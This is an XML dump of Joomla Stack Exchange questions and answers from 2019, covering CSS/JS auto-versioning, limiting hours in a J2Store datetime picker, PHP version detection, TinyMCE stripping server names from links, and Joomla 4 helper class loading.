  <row Id="24547" PostTypeId="1" CreationDate="2019-04-29T22:39:53.077" Score="2" ViewCount="1270" Body="&lt;p&gt;I would like the version of css and js within a template to be renewed automatically on file change. I tried JHtml with auto versioning without the desired result.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_('stylesheet', 'template.css', array('version' =&amp;gt; 'auto', 'relative' =&amp;gt; true));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is version auto renew possible on file change?&#xA;If not, is there a way to force updating the version manually?&lt;/p&gt;&#xA;" OwnerUserId="7792" LastEditorUserId="7792" LastEditDate="2019-04-29T22:45:57.897" LastActivityDate="2021-04-13T16:40:43.450" Title="How to force auto versioning of css and js to renew on file change within Joomla! template?" Tags="|joomla-3.x|templates|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24548" PostTypeId="1" AcceptedAnswerId="24553" CreationDate="2019-04-29T23:24:58.717" Score="0" ViewCount="1499" Body="&lt;p&gt;I'm looking for a bit of help with regards to a Date/Time (Date Picker) field in J2store. A friend of mine has set up the field no problem, however, they want to restrict the times that can be selected (start and end time).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;J2store seems to use the &lt;a href=&quot;https://github.com/trentrichardson/jQuery-Timepicker-Addon/blob/master/src/jquery-ui-timepicker-addon.js&quot; rel=&quot;nofollow noreferrer&quot;&gt;jQuery Timepicker Addon&lt;/a&gt; by Trent Richardson. There appears to be a function around line 2168 in the online version which seems to have a startTime parameter but i'm not really sure how to set it?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Calls `method` on the `startTime` and `endTime` elements, and configures them to&#xA; * enforce date range limits.&#xA; * @param  {string} method Can be used to specify the type of picker to be added&#xA; * @param  {Element} startTime&#xA; * @param  {Element} endTime&#xA; * @param  {Object} options Options for the `timepicker()` call. Also supports `reformat`,&#xA; *   a boolean value that can be used to reformat the input values to the `dateFormat`.&#xA; * @return {jQuery}&#xA; */&#xA;$.timepicker.handleRange = function (method, startTime, endTime, options) {&#xA;    options = $.extend({}, {&#xA;        minInterval: 0, // min allowed interval in milliseconds&#xA;        maxInterval: 0, // max allowed interval in milliseconds&#xA;        start: {},      // options for start picker&#xA;        end: {}         // options for end picker&#xA;    }, options);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The website can be found &lt;a href=&quot;https://arturostogo.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; but unfortunately you need to add something to the basket and go through the checkout process before you reach the date/time picker in the payment section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas with this one, would be most appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best Regards&#xA;D&lt;/p&gt;&#xA;" OwnerUserId="7973" LastActivityDate="2019-05-03T06:29:40.653" Title="Setting a Start/End time to J2store Date picker field" Tags="|jquery|j2store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24549" PostTypeId="2" ParentId="21460" CreationDate="2019-04-30T13:13:29.583" Score="1" Body="&lt;p&gt;Please note that &lt;a href=&quot;https://github.com/joomla/joomla-cms/releases/tag/3.6.5&quot; rel=&quot;nofollow noreferrer&quot;&gt;you can not update directly&lt;/a&gt; from Joomla! lower than 3.6.5 (3.0.0 to 3.6.4 inclusive) to Joomla! 3.6.5 or later using the extensions manager. You need to use Joomla! Update or perform a manual update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume you cannot use Joomla! Update if you are asking this question. Presumably your server is firewalled and cannot download the update directly. Therefore you need to follow Method &lt;strong&gt;C&lt;/strong&gt; in &lt;a href=&quot;https://docs.joomla.org/J3.x:Upgrading_from_Joomla_3.4.x_to_3.5&quot; rel=&quot;nofollow noreferrer&quot;&gt;the Joomla! documentation on core updates&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do note that later versions of Joomla! Update include their own upload and install for Joomla! core updates (I contributed that feature). Upgrading to the next Joomla! versions will be possible from Joomla! Update even if it cannot download the update package directly. There will be a second tab at the top of its page which allows you to use an upload &amp;amp; install method.&lt;/p&gt;&#xA;" OwnerUserId="7331" LastActivityDate="2019-04-30T13:13:29.583" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24550" PostTypeId="2" ParentId="23374" CreationDate="2019-04-30T13:18:12.120" Score="1" Body="&lt;p&gt;The free version of JCE does not support that, but Joomla's built-in TinyMCE does. Moreover, the built-in CodeMirror editor in Joomla! 3 does syntax highlighting. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you find that specific users spend most of their time editing raw HTML you can tell them to click on their profile at the top-right corner and switch their browser either to TinyMCE or CodeMirror.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are even plugins (&lt;a href=&quot;https://extensions.joomla.org/extension/editor-switcher/&quot; rel=&quot;nofollow noreferrer&quot;&gt;like this&lt;/a&gt; -- I have NOT personally tried it) which allow you to switch the editor on-the-fly, without being lost in redirections. I think that explaining to your editors how to switch their editor using such a plugin would be the best solution for your use case.&lt;/p&gt;&#xA;" OwnerUserId="7331" LastActivityDate="2019-04-30T13:18:12.120" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24551" PostTypeId="2" ParentId="9513" CreationDate="2019-04-30T13:29:13.227" Score="1" Body="&lt;p&gt;I see a lot of weird answers with regular expressions and attribute handling... Why? Joomla! has a great API in JForm to do everything you need. Since it's not quite clear what you want to accomplish I'll give you three alternatives for doing things the Joomla! Way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to remove a specific field from a form it's easy to do it if you know the name of the fieldset and the field.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$form-&amp;gt;removeField('my_field_name', 'my_fieldset_name');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want to get the names of all fields in a fieldset -- and possibly remove them from the form -- try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$fields = $form-&amp;gt;getFieldset('my_fieldset_name');&#xA;foreach ($fields as $field)&#xA;{&#xA;    $name = $field-&amp;gt;getAttribute('name');&#xA;    // And possibly delete the field here:&#xA;    // $form-&amp;gt;removeField($name, 'my_fieldset_name');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, this removes the fields, not the fieldset. If you want to remove an entire fieldset you just need to know that before Joomla! 1.6 they were called &quot;groups&quot;, hence the surviving method being called removeGroup:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$form-&amp;gt;removeGroup('my_fieldset_name');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I recommend using an IDE such as PhpStorm or NetBeans and type hinting (in the form of &lt;code&gt;/** @var JForm $form */&lt;/code&gt;)to get autocompletion of the method names. In most IDEs you can CTRL-click (macOS: CMD-click) the method name to go into its declaration in Joomla's core to understand what it does. That's how I learned how Joomla works: following the code in an IDE. It's not magic, it's Open Source Software :)&lt;/p&gt;&#xA;" OwnerUserId="7331" LastActivityDate="2019-04-30T13:29:13.227" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24552" PostTypeId="1" AcceptedAnswerId="24562" CreationDate="2019-05-01T07:42:59.317" Score="1" ViewCount="89" Body="&lt;p&gt;I need to find an extension to generate the Article Table of Content or Outline in the sidebar &lt;a href=&quot;https://firebase.google.com/docs/unity/setup#top_of_page&quot; rel=&quot;nofollow noreferrer&quot;&gt;like this page&lt;/a&gt; (right sidebar). The page will scroll to that heading/content when click to the sidebar content.&#xA;I found the similar question in &lt;a href=&quot;https://joomla.stackexchange.com/questions/21059/article-table-of-content-as-a-sticky-navigation#_=_&quot;&gt;this post&lt;/a&gt; but all the answers are out of date.&lt;/p&gt;&#xA;" OwnerUserId="7959" LastActivityDate="2019-05-03T13:09:10.300" Title="Article Table of Content in the sidebar" Tags="|joomla-3.x|articles|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24553" PostTypeId="2" ParentId="24548" CreationDate="2019-05-01T14:01:37.517" Score="2" Body="&lt;p&gt;After ordering a nice appetizer for $6.10 on the site :) I was able to check the datetime picker on the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This datetime picker is built in &lt;code&gt;your_joomla/administrator/components/com_j2store/helpers/strappers.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and from line 223 you have to change the following lines from this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if($('.$element_datetime').length){&#xA;    $('.$element_datetime').datetimepicker({&#xA;        dateFormat: '$date_format',&#xA;        timeFormat: '$time_format',              &#xA;        $localisation&#xA;        });&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if($('.$element_datetime').length){&#xA;    $('.$element_datetime').datetimepicker({&#xA;        dateFormat: '$date_format',&#xA;        timeFormat: '$time_format',&#xA;        hourMin: 9,&#xA;        hourMax: 22,             &#xA;        $localisation&#xA;    });&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(You can add any other valid options here in the code).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only problem will be with this editing that at the next update of J2Store this change is going to be over written by the update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus for long term you will have to create and load an override of this jQuery function and load it in the template (or in the checkout view) somewhere (If I find a bit more time, I'll update with a possible override function on this). But until I wanted to give you the shorthand, fast solution on this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE - FOR LONG TERM SOLUTION&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course we do not want to edit core j2store files as I gave it above, so just do not do it. Instead for modifying the default j2store datetime picker, the following short jQuery script should be loaded with the J2Store template (in index.php file for example) or with the checkout view (tmpl) where the datetime picker appears (an override of the &lt;code&gt;default_shipping_payment.php&lt;/code&gt; layout file for example).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;&#xA;let $ = jQuery.noConflict();&#xA;$(document).ready(function(){&#xA;    let greatpicker = $.timepicker.mine = {&#xA;        hourMin: 9,&#xA;        hourMax: 21,&#xA;    };&#xA;    $.timepicker.setDefaults(greatpicker);&#xA;    $('#pickup_date_time').datetimepicker(greatpicker);                               &#xA;});&#xA;&#xA;// '#pickup_date_time' should always be adjusted to the id selector of the datetime picker element. &#xA;// This in the example is the id of the element on the restaurant site given in the question.&#xA;&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This short jQuery script limits the available time range in the datetime picker from 9am to 10pm, in which time range the restaurant wants to deliver orders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The time format&lt;/strong&gt; can be set in j2store dashboard at &lt;strong&gt;joomla admin-&gt;j2store-&gt;apps-&gt;custom fields&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;where you open [your date field name], in your case it's &lt;strong&gt;pickup-date-time&lt;/strong&gt;, and you can find a setting input field called &lt;strong&gt;Format&lt;/strong&gt;. You just place the following format in that: &lt;code&gt;yy-mm-dd | h:mm tt&lt;/code&gt; and actually you are done, you have the time format displayed in a 12-hour clock format (with am and pm). Here you can also set like &lt;code&gt;mm-dd-yy | h:mm tt&lt;/code&gt; and the date format is going to be  &quot;month-day-year&quot; in the datetime picker.&lt;/p&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="12524" LastEditDate="2019-05-03T06:29:40.653" LastActivityDate="2019-05-03T06:29:40.653" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="24554" PostTypeId="1" CreationDate="2019-05-02T00:51:31.567" Score="0" ViewCount="1513" Body="&lt;p&gt;I've updated to PHP 7.2.17 through my host's cpanel, but I'm still getting a message in the Joomla backend that my PHP version is not updated.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Error&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;We have detected that your server is using PHP 7.0.31 which is&#xA;  obsolete and no longer receives official security updates by its&#xA;  developers. The Joomla! Project recommends upgrading your site to PHP&#xA;  7.1 or later which will receive security updates at least until 2019-12-01. Please ask your host to make PHP 7.1 or a later version&#xA;  the default version for your site. If your host is already PHP 7.1&#xA;  ready please enable PHP 7.1 on your site's root and 'administrator'&#xA;  directories – typically you can do this yourself through a tool in&#xA;  your hosting control panel, but it's best to ask your host if you are&#xA;  unsure.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Any help to reflect correct PHP version in Joomla would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="13521" LastEditorUserId="12352" LastEditDate="2019-05-02T11:48:31.743" LastActivityDate="2019-09-29T12:03:10.493" Title="Joomla backend not reflecting updated PHP version" Tags="|php|upgrade|php7|versions|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24555" PostTypeId="2" ParentId="24554" CreationDate="2019-05-02T02:19:40.273" Score="1" Body="&lt;p&gt;Look in your .htaccess file to see what version of PHP was added via cPanel. Depending on the host it is usually reflected in either .htaccess or a php.ini file in the root of your directory. Just modify that file to the version you want and it should fix things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also if you have a server running SuperCacher or an equivalent file caching module, clear that cache and it may resolve the issue.&lt;/p&gt;&#xA;" OwnerUserId="7730" LastActivityDate="2019-05-02T02:19:40.273" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24557" PostTypeId="2" ParentId="24547" CreationDate="2019-05-02T06:47:17.040" Score="6" Body="&lt;p&gt;The old and deprecated way is to place &lt;code&gt;MD5SUM&lt;/code&gt; file in the asset folder and have it updated whenever an asset file is modified. Once you create the file, add assets without version or with &lt;code&gt;md5sum&lt;/code&gt; as version:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_('stylesheet', 'template.css', array('relative' =&amp;gt; true));&#xA;JHtml::_('stylesheet', 'template2.css', array('version' =&amp;gt; 'md5sum', 'relative' =&amp;gt; true));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This method will not be supported in Joomla 4.0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since template files are final (not overridable), a simple way is to use their modification time as version:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$version = filemtime(JPATH_THEMES . '/' . $this-&amp;gt;template . '/css/template.css');&#xA;JHtml::_('stylesheet', 'template.css', array('version' =&amp;gt; $version, 'relative' =&amp;gt; true));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For all others files checking modification time is more complex because they can be overridden. We can get a relative URL to file by setting &lt;code&gt;pathOnly&lt;/code&gt; option in &lt;code&gt;JHtml::stylesheet()&lt;/code&gt;. Then remove root path from URL and add real root path.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Get Joomla web root path.&#xA;$root = JUri::root(true);&#xA;&#xA;// Get relative URL to file.&#xA;$relative = JHtml::_('stylesheet', 'template.css', array('pathOnly' =&amp;gt; true, 'relative' =&amp;gt; true));&#xA;&#xA;// Remove web root path if needed.&#xA;$relative = $root !== '' ? substr_replace($relative, '', 0, strlen($root)) : $relative;&#xA;&#xA;// Prepend real root path.&#xA;$version = filemtime(JPATH_ROOT . $relative);&#xA;&#xA;// Add the stylesheet with custom version.&#xA;JHtml::_('stylesheet', 'template.css', array('version' =&amp;gt; $version, 'relative' =&amp;gt; true));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2019-05-02T06:47:17.040" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24558" PostTypeId="2" ParentId="24027" CreationDate="2019-05-02T21:14:44.567" Score="1" Body="&lt;p&gt;The comment from @mickmackusa is essentially correct, but there's some context missing, perhaps, from your question that makes me wonder if you're not asking a wider question. There are wide variety of reasons for the overrides you're seeing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In an MVC world &quot;save&quot; is both a controller &lt;em&gt;and&lt;/em&gt; a model method. It stems from the concept &quot;separation of concerns.&quot; The model's concern is not interacting with the rest of the system; its concern is ensuring the data is valid and then persisting it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you interact with the system the controller will get the &quot;save&quot; request from you first, and it may have some housekeeping of its own to do before passing the request on to the model. If it does, then the controller's save method needs to be overridden to achieve that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another possible reason is because the form itself that has been submitted may contain data from (or data destined for) two different models. That's not &quot;clean&quot; from a pure coding standpoint, but we live and work in the real world, with real users, who don't want to deal with three different forms simply because that's a more efficient way to store the data -- a user's experience should never be as a slave to the database. In those cases the controller &quot;save&quot; task will ensure the data gets routed to the right model. This approach can happen if you build your system around the user's tasks, rather than the database tables. (I'm not commenting upon which is the better approach, because frankly it's not a clear-cut decision; there are cases when either is better than the other.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another cause for overriding the method is because the class itself doesn't follow the single-responsibility principle very well (directly related to the comment of &quot;from many walks of life&quot;). There are several methods that really should be broken up into 5-6 smaller methods; the large method gets overridden often because there is just one single line, sometimes only vaguely related to the task, that needs to be changed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a school of thought called &quot;skinny controller - fat model&quot; that says everything to do with the data belongs in the Model, the controller is a glorified switchboard, simply making sure the model gets the data it needs. There are other schools that insist there need to be other classes around the model and controller that take care of the business logic; the controller controls and the model saves, and other classes do the other things. There's really never been an architect that said &quot;this must go here&quot; so we have what we have; a thousand different flowers blooming in the code. MVC has never been so rigidly defined that code can only be written in one manner to satisfy it (one of the early MVC approaches gave every single individual area on the screen its own controller, for example; I remember someone revived that idea a while back under the name &quot;Hierarchical Model-View-Controller&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All that is by way of supplying context for this: There really isn't enough information in your question for you to get a concrete answer. When you see something in the code and you don't understand the why of it, ask a specific question about that piece. Maybe there's a good reason why the general rule doesn't apply in that case. Maybe the right answer is &quot;Ooops. You're right. That doesn't belong there.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In which case, you may have just found your first opportunity to contribute to the project.&lt;/p&gt;&#xA;" OwnerUserId="5394" LastActivityDate="2019-05-02T21:14:44.567" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24559" PostTypeId="2" ParentId="23762" CreationDate="2019-05-02T21:43:09.050" Score="1" Body="&lt;p&gt;There's always more than one way to do something. This is just a possibility that occurred to me, I haven't tested it extensively, but take a peek at it and see if it'll work for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create an articles-&gt;category module, in the filtering options select &quot;Featured Articles&quot; -&gt; &quot;only&quot; and override the default output of that to suit your need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then create a &quot;normal&quot; content item and include that module in it. Might work for you, depending on what you need from it.&lt;/p&gt;&#xA;" OwnerUserId="5394" LastActivityDate="2019-05-02T21:43:09.050" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24560" PostTypeId="1" AcceptedAnswerId="24563" CreationDate="2019-05-03T10:20:57.833" Score="0" ViewCount="63" Body="&lt;p&gt;I'm working a custom Joomla module that has a JForm with an editor field. My users use this form to edit and send some email messages to our customers. The field is prefilled by the system with some template content including an URL to another form: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;At the same time &amp;lt;A href=&quot;https://$servername/en/tour-preferences?tid=$tour_id&quot;&amp;gt;please fill in this questionnaire&amp;lt;/A&amp;gt;.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;$servername is previously set to &quot;myserver.com&quot;. When the user submits the form, the system retrieves the text from the editor field using the below code: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$fields = $input-&amp;gt;get('main', array(), 'raw'); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However if I dump all the fields I see that the &quot;&lt;a href=&quot;https://myserver.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://myserver.com&lt;/a&gt;&quot; part of the text is removed from the string, so the link is broken. I checked that the link was properly prefilled into the editor field:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;https://dev.gonativeguide.com/en/tour-preferences?tid=121&quot; data-mce-href=&quot;en/tour-preferences?tid=121&quot;&amp;gt;please fill in this questionnaire&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have no idea where this data-mce_href tag comes from. Could that cause this issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Previously I used the &quot;safehtml&quot; filter in my form definition, now I set that to &quot;raw&quot;, but it did not help: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field&#xA;                name=&quot;Message&quot;&#xA;                type=&quot;editor&quot;&#xA;                label=&quot;Message&quot;&#xA;                rows=&quot;10&quot;&#xA;                cols=&quot;40&quot; &#xA;                filter=&quot;raw&quot;&#xA;                class=&quot;gngcontact&quot;&#xA;            /&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please advise what should I do to really get the raw text from the editor field including the full url in my achor tag. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Important update:&lt;/strong&gt; I replaced the editor field with simple textarea and the problem does not occur. So it seems to be somehow reated to the editor field type.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks!&lt;/p&gt;&#xA;" OwnerUserId="12966" LastEditorUserId="12966" LastEditDate="2019-05-03T12:14:49.063" LastActivityDate="2019-05-03T13:19:58.307" Title="Server name removed from text when submitting JForm TinyMCE editor field" Tags="|joomla-3.x|jform|filter|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24561" PostTypeId="2" ParentId="24560" CreationDate="2019-05-03T12:58:04.893" Score="1" Body="&lt;p&gt;I think you answered your own question, there, so I'll just chime in with some extra detail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, I only rarely use any of the js wysiwyg editors for precisely this sort of reason; the take away your control over the data, and substitute the judgement of someone who has no idea what you need it to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The data attribute you mention isn't the cause; it seems more like an effect. The idea of embedding external links in form inputs is a favorite technique of attackers, so even if its useful it's often blocked. Especially when the form field is going to be processed by javascript.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the admin side of the site, go to Extensions-&gt;plugins and look for the tinyMCE plugin. On that page you'll see a list of terms that tinyMCE itself will filter out. System-&gt;Global Configuration, under the &quot;Text Filters&quot; tab there's a list of what filters are applied to what group of users on the site. Those will be applied to all editor fields even before the editor itself gets to apply its own filter. You might find that's where the server name is getting disappeared.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think you already found your best solution, though, by making the field a textarea instead of an editor field. That way the only filters that will get applied the to data are the ones you specifically call for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that's not good enough for you, try selecting &quot;No Filtering&quot; for the user group you have filling out the field. But if you do that, be aware you're opening a fairly large crack in the security wall on your site. It may be the rest of your site will be able to defend itself against what that lets in. But it may not. Your site, your decision; but if something bad happens, you can't say I didn't warn you.&lt;/p&gt;&#xA;" OwnerUserId="5394" LastActivityDate="2019-05-03T12:58:04.893" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24562" PostTypeId="2" ParentId="24552" CreationDate="2019-05-03T13:09:10.300" Score="1" Body="&lt;p&gt;I'm end up with Quick Index of RegularLabs. It also has the Auto Index feature which auto generate the index for all selected articles.&lt;/p&gt;&#xA;" OwnerUserId="7959" LastActivityDate="2019-05-03T13:09:10.300" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24563" PostTypeId="2" ParentId="24560" CreationDate="2019-05-03T13:19:58.307" Score="0" Body="&lt;p&gt;Thanks for all the useful guidelines above. In the meanwhile I've indeed found the solution. There is a setting for the TinyMCE plugin called &quot;Urls&quot;. No further explanation, but default is &quot;relative&quot;. I set this to &quot;absolute&quot; and this basically eliminated the problem.  &lt;/p&gt;&#xA;" OwnerUserId="12966" LastActivityDate="2019-05-03T13:19:58.307" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24565" PostTypeId="1" AcceptedAnswerId="24566" CreationDate="2019-05-05T01:20:15.220" Score="2" ViewCount="467" Body="&lt;p&gt;I'm testing and playing with Joomla 4 alpha.&#xA;What I tried to do is to quick-edit / modify the module Latest Article (mod_articles_latest), adding a new function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In joomla 3.x I usually adding a new function to a module by adding it to helper.php file like this :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class ModNameHelper&#xA;{&#xA;    public static function myFunctionName($param1,$param2)&#xA;    { ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I call it from the default.php like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ModNameHelper::myFunctionName($param1,$param2);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now I tried to duplicate these steps with mod_articles_latest by adding myCustomFunction to ArticlesLatestHelper.php like this :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * @package     Joomla.Site&#xA; * @subpackage  mod_articles_latest&#xA; *&#xA; * @copyright   Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved.&#xA; * @license     GNU General Public License version 2 or later; see LICENSE.txt&#xA; */&#xA;&#xA;namespace Joomla\Module\ArticlesLatest\Site\Helper;&#xA;&#xA;defined('_JEXEC') or die;&#xA;&#xA;use Joomla\CMS\Access\Access;&#xA;use Joomla\CMS\Component\ComponentHelper;&#xA;use Joomla\CMS\Factory;&#xA;use Joomla\CMS\Router\Route;&#xA;use Joomla\Component\Content\Site\Model\ArticlesModel;&#xA;use Joomla\Registry\Registry;&#xA;use Joomla\Utilities\ArrayHelper;&#xA;&#xA;\JLoader::register('ContentHelperRoute', JPATH_SITE . '/components/com_content/helpers/route.php');&#xA;&#xA;/**&#xA; * Helper for mod_articles_latest&#xA; *&#xA; * @since  1.6&#xA; */&#xA;abstract class ArticlesLatestHelper&#xA;{&#xA;    /**&#xA;     * Retrieve a list of article&#xA;     *&#xA;     * @param   Registry       $params  The module parameters.&#xA;     * @param   ArticlesModel  $model   The model.&#xA;     *&#xA;     * @return  mixed&#xA;     *&#xA;     * @since   1.6&#xA;     */&#xA;    public static function getList(Registry $params, ArticlesModel $model)&#xA;    { // this is the built-in function ... }&#xA;&#xA;&#xA;    public static function myCustomFunction($myparam) {&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then called the function in the default.php like this &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ArticlesLatestHelper::myCustomFunction($myparam);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it returned fatal error :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error: Class 'ArticlesLatestHelper' not found: Class 'ArticlesLatestHelper' not found&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can anybody tell me, what am I doing wrong in here? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2295" LastActivityDate="2019-05-05T04:58:28.143" Title="Fatal Error: Class 'ArticlesLatestHelper' not found in Joomla 4 module while trying to add new function" Tags="|module|fatal-error|joomla-4.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24566" PostTypeId="2" ParentId="24565" CreationDate="2019-05-05T04:50:18.237" Score="2" Body="&lt;p&gt;Either, include that helper class on the top of your &lt;code&gt;default.php&lt;/code&gt; like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die;&#xA;&#xA;use Joomla\Module\ArticlesLatest\Site\Helper\ArticlesLatestHelper;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you can use that class within your &lt;code&gt;default.php&lt;/code&gt; file&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or standardly define your own variable in &lt;code&gt;mod_articles_latest.php&lt;/code&gt; like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$myStuffHere = ArticlesLatestHelper::myCustomFunction($myparam);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then you can use the returned values of &lt;code&gt;$myStuffHere&lt;/code&gt; with that variable name &lt;code&gt;in default.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think this is what you are looking for.&lt;/p&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="12524" LastEditDate="2019-05-05T04:58:28.143" LastActivityDate="2019-05-05T04:58:28.143" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
